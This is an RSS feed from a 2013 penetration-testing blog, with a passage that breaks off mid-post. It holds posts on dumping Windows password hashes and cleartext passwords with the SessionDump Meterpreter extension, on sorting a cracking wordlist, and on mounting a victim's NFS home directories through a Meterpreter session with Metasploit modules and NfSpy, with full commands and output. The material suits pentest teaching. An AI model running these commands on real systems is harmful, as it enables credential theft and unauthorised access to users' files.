<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><!--Generated by Squarespace V5 Site Server v5.13.156 (http://www.squarespace.com) on Mon, 20 May 2013 21:03:00 GMT--><feed xmlns="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0"><title>Room362.com RSS Feed</title><subtitle>Blog</subtitle><id>http://www.room362.com/blog/</id><link rel="alternate" type="application/xhtml+xml" href="http://www.room362.com/blog/" /><updated>2013-04-08T21:13:17Z</updated><generator uri="http://five.squarespace.com/" version="Squarespace V5 Site Server v5.13.156 (http://www.squarespace.com)">Squarespace</generator><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/atom+xml" href="http://feeds.feedburner.com/Room362com" /><feedburner:info uri="room362com" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><link rel="license" type="text/html" href="http://creativecommons.org/licenses/by-sa/3.0/" /><logo>http://creativecommons.org/images/public/somerights20.gif</logo><feedburner:emailServiceId>Room362com</feedburner:emailServiceId><feedburner:feedburnerHostname>http://feedburner.google.com</feedburner:feedburnerHostname><entry><title>Sessiondump Meterpreter Extension</title><category term="metasploit" /><category term="meterpreter" /><category term="mimikatz" /><category term="wdiget" /><id>http://www.room362.com/blog/2013/4/8/sessiondump-meterpreter-extension.html</id><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Room362com/~3/HoBil2RaD9Q/sessiondump-meterpreter-extension.html" /><author><name>Rob Fuller</name></author><published>2013-04-08T09:58:20Z</published><updated>2013-04-08T09:58:20Z</updated><content type="html" xml:lang="en-US">&lt;p&gt;Mimikatz is awesome right, so is WCE. But both have one fatal flaw, even though you can execute them in memory &lt;a href="http://www.room362.com/blog/2012/9/6/completely-in-memory-mimikatz-with-metasploit.html"&gt;{link}&lt;/a&gt; - you still have to have the binaries, remember the command to execute it in memory, and ultimately transfer the entire binary over so that metasploit can do its thing.&lt;/p&gt;
&lt;p&gt;Then along came SessionDump. I only noticed this because someone was tweeting congratulations to someone on writing it:&lt;/p&gt;
&lt;p&gt;&lt;img title="Screen Shot 2013-04-08 at 5.55.48 AM.png" src="http://www.room362.com/resource/Screen%20Shot%202013-04-08%20at%205.55.48%20AM.png?fileId=22393279" alt="Screen Shot 2013 04 08 at 5 55 48 AM" width="458" height="179" border="0" /&gt;&lt;/p&gt;
&lt;p&gt;No blog post or huge Vegas lights talk on it at DefCon or Blackhat. Just posted online in a corner of the Internet:&lt;/p&gt;
&lt;p&gt;&lt;img title="Screen Shot 2013-04-07 at 6.57.40 PM.png" src="http://www.room362.com/resource/Screen%20Shot%202013-04-07%20at%206.57.40%20PM.png?fileId=22393267" alt="Screen Shot 2013 04 07 at 6 57 40 PM" width="600" height="294" border="0" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.hsc.fr/ressources/outils/sessiondump/"&gt;http://www.hsc.fr/ressources/outils/sessiondump/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Before we get started lets be clear about one thing. Sessiondump while awesome doesn't do everything that Mimikatz does. However, it does do the feature of mimikatz that I do use the most, the logged on user hash dumping as well as the wdigest clear text password dumping. It does this as a Meterpreter extension that operates using reflective DLL injection. Does that solve our minor issues we had with mimikatz, as of right now, only partially. This code was simply posted online, not in a pull request or submitted to Metasploit in any way. So you still have to have the binary + code. What about the remembering, surely it makes it so I can just tab complete my way to passwords right? Yup, it does, but until/if it is in the Metasploit trunk you will still have to remember how to get it installed (which we will go over in a bit). The final question is yes it does still transfer a complete DLL over to the host same as any of the other extensions (not to disk mind you, just memory),.&lt;/p&gt;
&lt;p&gt;Without further ado lets go ahead and get the file and do a bunch of extracting. &lt;/p&gt;
&lt;p&gt;&lt;img title="Screen Shot 2013-04-07 at 7.15.02 PM.png" src="http://www.room362.com/resource/Screen%20Shot%202013-04-07%20at%207.15.02%20PM.png?fileId=22393268" alt="Screen Shot 2013 04 07 at 7 15 02 PM" width="445" height="195" border="0" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img title="Screen Shot 2013-04-07 at 7.15.54 PM.png" src="http://www.room362.com/resource/Screen%20Shot%202013-04-07%20at%207.15.54%20PM.png?fileId=22393269" alt="Screen Shot 2013 04 07 at 7 15 54 PM" width="600" height="360" border="0" /&gt;&lt;/p&gt;
&lt;p&gt;And finally placing everything in it's correct place, which was nice of the author to make easy by making the archive the same as the Metasploit directory structure:&lt;/p&gt;
&lt;p&gt;&lt;img title="Screen Shot 2013-04-08 at 2.33.31 AM.png" src="http://www.room362.com/resource/Screen%20Shot%202013-04-08%20at%202.33.31%20AM.png?fileId=22393270" alt="Screen Shot 2013 04 08 at 2 33 31 AM" width="406" height="45" border="0" /&gt;&lt;/p&gt;
&lt;p&gt;Cool, everything should be good to go. Lets use this thing. I'm using psexec to get a shell but any way you get a windows native meterpreter fine, with one caveat, and its the same as with any of the other aforementioned tools. You need to be Admin (past UAC, w/ SeDebug privilege) or NT\AUTHORITY SYSTEM.  After that it's cake, load the extension:&lt;/p&gt;
&lt;p&gt; &lt;img title="Screen Shot 2013-04-07 at 10.42.06 PM.png" src="http://www.room362.com/resource/Screen%20Shot%202013-04-07%20at%2010.42.06%20PM.png?fileId=22393271" alt="Screen Shot 2013 04 07 at 10 42 06 PM" width="600" height="130" border="0" /&gt;&lt;/p&gt;
&lt;p&gt;Here is the available commands:&lt;/p&gt;
&lt;p&gt;&lt;img title="Screen Shot 2013-04-07 at 10.42.22 PM.png" src="http://www.room362.com/resource/Screen%20Shot%202013-04-07%20at%2010.42.22%20PM.png?fileId=22393272" alt="Screen Shot 2013 04 07 at 10 42 22 PM" width="600" height="184" border="0" /&gt;&lt;/p&gt;
&lt;p&gt;And run getHashes:&lt;/p&gt;
&lt;p&gt;&lt;img title="Screen Shot 2013-04-07 at 10.43.04 PM 2.png" src="http://www.room362.com/resource/Screen%20Shot%202013-04-07%20at%2010.43.04%20PM%202.png?fileId=22393274" alt="Screen Shot 2013 04 07 at 10 43 04 PM 2" width="600" height="68" border="0" /&gt;&lt;/p&gt;
&lt;p&gt;or getwDigestPasswords:&lt;/p&gt;
&lt;p&gt;&lt;img title="Screen Shot 2013-04-07 at 10.43.39 PM.png" src="http://www.room362.com/resource/Screen%20Shot%202013-04-07%20at%2010.43.39%20PM.png?fileId=22393273" alt="Screen Shot 2013 04 07 at 10 43 39 PM" width="291" height="77" border="0" /&gt;&lt;/p&gt;
&lt;p&gt;Thats is, you free passwords, YAY...&lt;/p&gt;
&lt;p&gt;Possible issues you may run into:&lt;/p&gt;
&lt;p&gt;1) If you are on a x64 box and meterpreter isn't running in a x64 process it will fail saying that it doesn't have the correct version offsets, here is how you can check:&lt;/p&gt;
&lt;p&gt;&lt;img title="Screen Shot 2013-04-08 at 2.40.29 AM.png" src="http://www.room362.com/resource/Screen%20Shot%202013-04-08%20at%202.40.29%20AM.png?fileId=22393277" alt="Screen Shot 2013 04 08 at 2 40 29 AM" width="470" height="132" border="0" /&gt;&lt;/p&gt;
&lt;p&gt;x64 system and Meterpreter is x86/win32. Lets find a good process to migrate into and kick it from there. Winlogon isn't the greatest choices since if meterpreter decides to crash it during migration then the system will go down, whereas a service running as SYSTEM will probably just restart if something fails.&lt;/p&gt;
&lt;p&gt;&lt;img title="Screen Shot 2013-04-07 at 10.43.04 PM.png" src="http://www.room362.com/resource/Screen%20Shot%202013-04-07%20at%2010.43.04%20PM.png?fileId=22393275" alt="Screen Shot 2013 04 07 at 10 43 04 PM" width="600" height="243" border="0" /&gt;&lt;/p&gt;
&lt;p&gt;2) If by any chance you are running it against a system the author hasn't gotten the offsets for. I don't' have a screenshot for this one because he covers all the languages I have CMs for, but the author was awesome enough to include a few python scripts that can help you generate the correct offsets. I'll show you by running it on my lsass and widgets.dll files even though he already has this data included in the CSV file that comes with session dump.&lt;/p&gt;
&lt;p&gt;Thats all for now folks, may the shells be with you.&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/Room362com?a=HoBil2RaD9Q:FE-J8VYHEQk:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Room362com?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Room362com?a=HoBil2RaD9Q:FE-J8VYHEQk:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Room362com?i=HoBil2RaD9Q:FE-J8VYHEQk:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Room362com?a=HoBil2RaD9Q:FE-J8VYHEQk:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Room362com?i=HoBil2RaD9Q:FE-J8VYHEQk:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Room362com?a=HoBil2RaD9Q:FE-J8VYHEQk:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Room362com?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Room362com?a=HoBil2RaD9Q:FE-J8VYHEQk:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Room362com?i=HoBil2RaD9Q:FE-J8VYHEQk:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Room362com?a=HoBil2RaD9Q:FE-J8VYHEQk:I56M4DFLkF8"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Room362com?i=HoBil2RaD9Q:FE-J8VYHEQk:I56M4DFLkF8" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Room362com/~4/HoBil2RaD9Q" height="1" width="1"/&gt;</content><feedburner:origLink>http://www.room362.com/blog/2013/4/8/sessiondump-meterpreter-extension.html</feedburner:origLink></entry><entry><title>Metasploit Mastery @BlackHatEvents USA 2013</title><id>http://www.room362.com/blog/2013/3/19/metasploit-mastery-blackhatevents-usa-2013.html</id><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Room362com/~3/Vs_SKwLaLGo/metasploit-mastery-blackhatevents-usa-2013.html" /><author><name>Rob Fuller</name></author><published>2013-03-19T14:38:36Z</published><updated>2013-03-19T14:38:36Z</updated><content type="html" xml:lang="en-US">&lt;p&gt;Just a quick post to say that &lt;a href="https://twitter.com/egyp7"&gt;egypt&lt;/a&gt;&amp;nbsp;and I will be giving Metasploit Mastery twice (2 x 2 day sessions) at BlackHat USA 2013. Come out and get your Metasploit on in Vegas w/ us&lt;/p&gt;
&lt;p&gt;Linky: &lt;a href="http://www.blackhat.com/us-13/training/metasploit-mastery.html"&gt;http://www.blackhat.com/us-13/training/metasploit-mastery.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Current fill rate of July 27-28 session:&lt;/p&gt;
&lt;p&gt;&lt;span class="full-image-block ssNonEditable"&gt;&lt;span&gt;&lt;img src="http://www.blackhat.com/images/us-13/trainbars/July2728MetasploitMastery.jpg" alt="" /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Current fill rate of July 29-30 session:&lt;/p&gt;
&lt;p&gt;&lt;span class="full-image-block ssNonEditable"&gt;&lt;span&gt;&lt;img src="http://www.blackhat.com/images/us-13/trainbars/July2930MetasploitMastery.jpg" alt="" /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;EOM&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/Room362com?a=Vs_SKwLaLGo:HCS9COaWP2I:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Room362com?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Room362com?a=Vs_SKwLaLGo:HCS9COaWP2I:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Room362com?i=Vs_SKwLaLGo:HCS9COaWP2I:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Room362com?a=Vs_SKwLaLGo:HCS9COaWP2I:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Room362com?i=Vs_SKwLaLGo:HCS9COaWP2I:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Room362com?a=Vs_SKwLaLGo:HCS9COaWP2I:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Room362com?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Room362com?a=Vs_SKwLaLGo:HCS9COaWP2I:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Room362com?i=Vs_SKwLaLGo:HCS9COaWP2I:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Room362com?a=Vs_SKwLaLGo:HCS9COaWP2I:I56M4DFLkF8"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Room362com?i=Vs_SKwLaLGo:HCS9COaWP2I:I56M4DFLkF8" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Room362com/~4/Vs_SKwLaLGo" height="1" width="1"/&gt;</content><feedburner:origLink>http://www.room362.com/blog/2013/3/19/metasploit-mastery-blackhatevents-usa-2013.html</feedburner:origLink></entry><entry><title>Length Sorting Wordlists</title><id>http://www.room362.com/blog/2013/3/18/length-sorting-wordlists.html</id><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Room362com/~3/SwuteyjLMIw/length-sorting-wordlists.html" /><author><name>Rob Fuller</name></author><published>2013-03-18T20:01:44Z</published><updated>2013-03-18T20:01:44Z</updated><content type="html" xml:lang="en-US">&lt;p&gt;This is one of those stupid simple things that are easy to forget so I'm posting it here. Wordlists and dictionaries are awesome for cracking password hashes, and although, thanks to things like Mimikatz and WCE I don't have to, but there is times where it's important.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Now, having John, Hashcat, or Cain go through a dictionary is a 1-for-1 hit, no time wasted no matter how it's sorted and usually is best to sort them by most common first so you get earlier hits. However, if you start throwing rules into the mix that equation changes. If you have "iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii" on the 3rd line of your dictionary, testing every possible permutation where you replace an 'i' with a 1 is going to take a very long time.&lt;/p&gt;
&lt;p&gt;Both Hashcat and John deal with this by limiting the length where permutations occur. (HC/JTR peeps please correct me if I'm wrong). Cain on the other hand, will try every possibility and hang on the 3rd line for years (over exagerated). How do you solve that? Easy, remove any word over a certain length. While that does work, and very similar to what the HC/JTR do, I don't like loosing words from my dictionary, so I tend to sort them by length. That way, all the nasty ones are near the end and I can scale back the rules on them.&lt;/p&gt;
&lt;p&gt;To do that is very simple:&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre&gt;awk '{print length, $0}' rockyou.txt | sort -n | cut -d " " -f2- &amp;gt; rockyou_ls.txt
&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Thats it. Basic, simple and stored here for reference.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/Room362com?a=SwuteyjLMIw:jkjyzGt7ERE:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Room362com?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Room362com?a=SwuteyjLMIw:jkjyzGt7ERE:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Room362com?i=SwuteyjLMIw:jkjyzGt7ERE:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Room362com?a=SwuteyjLMIw:jkjyzGt7ERE:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Room362com?i=SwuteyjLMIw:jkjyzGt7ERE:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Room362com?a=SwuteyjLMIw:jkjyzGt7ERE:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Room362com?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Room362com?a=SwuteyjLMIw:jkjyzGt7ERE:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Room362com?i=SwuteyjLMIw:jkjyzGt7ERE:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Room362com?a=SwuteyjLMIw:jkjyzGt7ERE:I56M4DFLkF8"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Room362com?i=SwuteyjLMIw:jkjyzGt7ERE:I56M4DFLkF8" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Room362com/~4/SwuteyjLMIw" height="1" width="1"/&gt;</content><feedburner:origLink>http://www.room362.com/blog/2013/3/18/length-sorting-wordlists.html</feedburner:origLink></entry><entry><title>Mounting NFS shares through Meterpreter with NfSpy</title><id>http://www.room362.com/blog/2013/3/4/mounting-nfs-shares-through-meterpreter-with-nfspy.html</id><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Room362com/~3/TEtmP9AZrUc/mounting-nfs-shares-through-meterpreter-with-nfspy.html" /><author><name>Rob Fuller</name></author><published>2013-03-04T21:20:19Z</published><updated>2013-03-04T21:20:19Z</updated><content type="html" xml:lang="en-US">&lt;p&gt;You've found an NFS share on a pentest, it's sharing out your target's home directories (/home) and some SAN with all of the Windows AD users "home" directories under /volumes/users/. You only have a meterpreter session though... enough back story, problem is that Metasploit doesn't really have any auxiliary modules or otherwise to access the things on those shares. Please correct me if I'm wrong, but there also aren't any tools for talking to NFS shares over TCP only proxies.&lt;/p&gt;&lt;p&gt;Enter NfSpy: &lt;a href="https://github.com/bonsaiviking/NfSpy"&gt;https://github.com/bonsaiviking/NfSpy&lt;/a&gt;&lt;/p&gt;&lt;p&gt;While it's original intent was aide in bypassing NFS security controls it has the right amount of options to make mounting NFS over Meterpreter possible.&lt;/p&gt;&lt;p&gt;First we setup up our route so that the aux module will go over the meterpreter session:&lt;/p&gt;&lt;p&gt; &lt;br /&gt;&lt;pre&gt;route add 192.168.1.0 255.255.255.0 1&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt; &lt;/p&gt;&lt;p&gt;The 1 on the end being the meterpreter session number it's going to be going through. Next up is to find out what exports are available:&lt;/p&gt;&lt;p&gt; &lt;br /&gt;&lt;pre&gt;msf &amp;gt; use auxiliary/scanner/nfs/nfsmount&lt;br /&gt;msf auxiliary(nfsmount) &amp;gt; show options&lt;/p&gt;&lt;p&gt;Module options (auxiliary/scanner/nfs/nfsmount):&lt;/p&gt;&lt;p&gt;   Name     Current Setting  Required  Description&lt;br /&gt;   ----     ---------------  --------  -----------&lt;br /&gt;   RHOSTS                    yes       The target address range or CIDR identifier&lt;br /&gt;   RPORT    111              yes       The target port&lt;br /&gt;   THREADS  1                yes       The number of concurrent threads&lt;/p&gt;&lt;p&gt;msf auxiliary(nfsmount) &amp;gt; set RHOSTS 192.168.1.50&lt;br /&gt;RHOSTS =&amp;gt; 192.168.1.50&lt;br /&gt;msf auxiliary(nfsmount) &amp;gt; run&lt;br /&gt;[+] 192.168.1.50 NFS Export: /home [192.168.1.0/24]&lt;br /&gt;[+] 192.168.1.50 NFS Export: /volume/users [192.168.1.0/24]&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt; &lt;/p&gt;&lt;p&gt;Looks like access is restricked by IP range, but luckily the victim is in said range. The final piece of information we need is the TCP port(s) that mountd is listening on. There is a metasploit module that can help use there too:&lt;/p&gt;&lt;p&gt; &lt;br /&gt;&lt;pre&gt;msf &amp;gt; use auxiliary/scanner/misc/sunrpc_portmapper&lt;br /&gt;msf auxiliary(sunrpc_portmapper) &amp;gt; show options&lt;/p&gt;&lt;p&gt;Module options (auxiliary/scanner/misc/sunrpc_portmapper):&lt;/p&gt;&lt;p&gt;   Name     Current Setting  Required  Description&lt;br /&gt;   ----     ---------------  --------  -----------&lt;br /&gt;   RHOSTS                    yes       The target address range or CIDR identifier&lt;br /&gt;   RPORT    111              yes       The target port&lt;br /&gt;   THREADS  1                yes       The number of concurrent threads&lt;/p&gt;&lt;p&gt;msf auxiliary(sunrpc_portmapper) &amp;gt; set RHOSTS 192.168.1.50&lt;br /&gt;RHOSTS =&amp;gt; 192.168.1.50&lt;br /&gt;msf auxiliary(sunrpc_portmapper) &amp;gt; run&lt;/p&gt;&lt;p&gt;[+] 192.168.1.50 - Programs available&lt;br /&gt;        rpcbind - 111/tcp&lt;br /&gt;        rpcbind - 111/udp&lt;br /&gt;        status - 46797/udp&lt;br /&gt;        status - 55731/tcp&lt;br /&gt;        nfs - 2049/tcp&lt;br /&gt;        nfs_acl - 2049/tcp&lt;br /&gt;        nfs - 2049/udp&lt;br /&gt;        nfs_acl - 2049/udp&lt;br /&gt;        nlockmgr - 54167/udp&lt;br /&gt;        nlockmgr - 38216/tcp&lt;br /&gt;        mountd - 52569/udp&lt;br /&gt;        mountd - 37719/tcp&lt;br /&gt;        mountd - 39099/udp&lt;br /&gt;        mountd - 55763/tcp&lt;br /&gt;        mountd - 37808/udp&lt;br /&gt;        mountd - 54457/tcp&lt;br /&gt;[*] Scanned 1 of 1 hosts (100% complete)&lt;br /&gt;[*] Auxiliary module execution completed&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt; &lt;/p&gt;&lt;p&gt;Cool, so lets target /home first with the mountd tcp port of 37719. Keeping our route where it is we set up Metasploit's socks proxy:&lt;/p&gt;&lt;p&gt; &lt;br /&gt;&lt;pre&gt;msf &amp;gt; use auxiliary/server/socks4a&lt;br /&gt;msf auxiliary(socks4a) &amp;gt; show options&lt;/p&gt;&lt;p&gt;Module options (auxiliary/server/socks4a):&lt;/p&gt;&lt;p&gt;   Name     Current Setting  Required  Description&lt;br /&gt;   ----     ---------------  --------  -----------&lt;br /&gt;   SRVHOST  0.0.0.0          yes       The address to listen on&lt;br /&gt;   SRVPORT  1080             yes       The port to listen on.&lt;/p&gt;&lt;p&gt;msf auxiliary(socks4a) &amp;gt; set SRVPORT 9050&lt;br /&gt;SRVPORT =&amp;gt; 9050&lt;br /&gt;msf auxiliary(socks4a) &amp;gt; set SRVHOST 127.0.0.1&lt;br /&gt;SRVHOST =&amp;gt; 127.0.0.1&lt;br /&gt;msf auxiliary(socks4a) &amp;gt; run&lt;br /&gt;[*] Auxiliary module execution completed&lt;br /&gt;[*] Starting the socks4a proxy server&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt; &lt;/p&gt;&lt;p&gt;I chose 9050 as my SRVPORT since I have proxychains already set up for that port (ala tor) and I highly recommend setting the SRVHOST to 127.0.0.1, unless you either firewall that port off from the Internet or don't mind having the Anons of the world surf through your meterpreter session into your clients.&lt;/p&gt;&lt;p&gt;Next up it actually using nfspy (create or prep a directory so you can mount it first):&lt;/p&gt;&lt;p&gt; &lt;br /&gt;&lt;pre&gt;proxychains nfspy -d -o server=192.168.1.50:/home,nfsport=2049/tcp,mountport=37719/tcp,rw /root/nfspy/mount&lt;br /&gt;ProxyChains-3.1 (http://proxychains.sf.net)&lt;br /&gt;FUSE library version: 2.8.6&lt;br /&gt;nullpath_ok: 0&lt;br /&gt;unique: 1, opcode: INIT (26), nodeid: 0, insize: 56&lt;br /&gt;INIT: 7.16&lt;br /&gt;flags=0x0000007b&lt;br /&gt;max_readahead=0x00020000&lt;br /&gt;|S-chain|-&amp;lt;&amp;gt;-127.0.0.1:9050-&amp;lt;&amp;gt;&amp;lt;&amp;gt;-192.168.1.50:37719-&amp;lt;&amp;gt;&amp;lt;&amp;gt;-OK&lt;br /&gt;|S-chain|-&amp;lt;&amp;gt;-127.0.0.1:9050-&amp;lt;&amp;gt;&amp;lt;&amp;gt;-192.168.1.50:2049-&amp;lt;&amp;gt;&amp;lt;&amp;gt;-OK&lt;br /&gt;   INIT: 7.12&lt;br /&gt;   flags=0x00000011&lt;br /&gt;   max_readahead=0x00020000&lt;br /&gt;   max_write=0x00020000&lt;br /&gt;   unique: 1, success, outsize: 40&lt;/p&gt;&lt;p&gt;&lt;/pre&gt;&lt;br /&gt; &lt;/p&gt;&lt;p&gt;&lt;strong&gt;proxychains nfspy -d -o server=192.168.1.50:/home,nfsport=2049/tcp,mountport=37719/tcp,rw /root/nfspy/mount&lt;/strong&gt;&lt;/p&gt;&lt;p&gt; Lets break that command down. Proxychains will wrap nfspy so that it goes through our Metasploit Socks4a proxy. The -d tells NfSpy to stay in the foreground, and -o for options. Server is our target IP, only use a hostname if your attacker box can resolve it to the right IP. The export we found with the Metasploit module is up next, and the default NFS port of 2049. The mountport option is from the port mapper Metasploit module. Both of these port options be sure you specify the /tcp or you'll just be waiting as there isn't really a time out and Proxychains doesn't show UDP attempts. RW for read-write and finally the location to mount to.&lt;/p&gt;&lt;p&gt;If you see that second proxychains request for port 2049 it is usually a good indicator that it worked, if not you have probably run into anything from a permissions issue to a local mount problem. NfSpy uses fuse which can be really silent when problems arrise or give errors that tell you nothing meaningful. Thats why I'm using the -d option that keeps nfspy in the foreground, just so I can detect any issues. Lets see if that worked:&lt;/p&gt;&lt;p&gt; &lt;br /&gt;&lt;pre&gt;ls /root/nfspy/mount&lt;br /&gt;user1&lt;br /&gt;user2&lt;br /&gt;user3&lt;br /&gt;user4&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt; &lt;/p&gt;&lt;p&gt;Remember, big directories might take a while to navigate being tunneled like this. Here is the output from the ls on the nfspy side:&lt;/p&gt;&lt;p&gt; &lt;br /&gt;&lt;pre&gt;unique: 166, opcode: OPENDIR (27), nodeid: 34, insize: 48&lt;br /&gt;   unique: 166, success, outsize: 32&lt;br /&gt;unique: 167, opcode: READDIR (28), nodeid: 34, insize: 80&lt;br /&gt;readdir[0] from 0&lt;br /&gt;   unique: 167, success, outsize: 208&lt;br /&gt;unique: 168, opcode: LOOKUP (1), nodeid: 34, insize: 46&lt;br /&gt;LOOKUP /home/user3&lt;br /&gt;getattr /home/user3&lt;br /&gt;   NODEID: 40&lt;br /&gt;   unique: 168, success, outsize: 144&lt;br /&gt;unique: 169, opcode: LOOKUP (1), nodeid: 34, insize: 46&lt;br /&gt;LOOKUP /home/user1&lt;br /&gt;getattr /home/user1&lt;br /&gt;   NODEID: 41&lt;br /&gt;   unique: 169, success, outsize: 144&lt;br /&gt;unique: 170, opcode: LOOKUP (1), nodeid: 34, insize: 46&lt;br /&gt;LOOKUP /home/user4&lt;br /&gt;getattr /home/user4&lt;br /&gt;   NODEID: 42&lt;br /&gt;   unique: 170, success, outsize: 144&lt;br /&gt;unique: 171, opcode: LOOKUP (1), nodeid: 34, insize: 46&lt;br /&gt;LOOKUP /home/user2&lt;br /&gt;getattr /home/user2&lt;br /&gt;   NODEID: 43&lt;br /&gt;   unique: 171, success, outsize: 144&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt; &lt;/p&gt;&lt;p&gt;Thats it. You can mount read-write (rw) or read-only (ro) depending on what you want to do and how quiet you want to be.&lt;/p&gt;&lt;p&gt;Last note, you can't just CTRL-C an nfspy mount, you need to use `fusermount -u /root/nfspy/mount` to kill it. It's another fuse issue. If anyone has a better way to do this I'm all ears.&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;div class="feedflare"&gt;
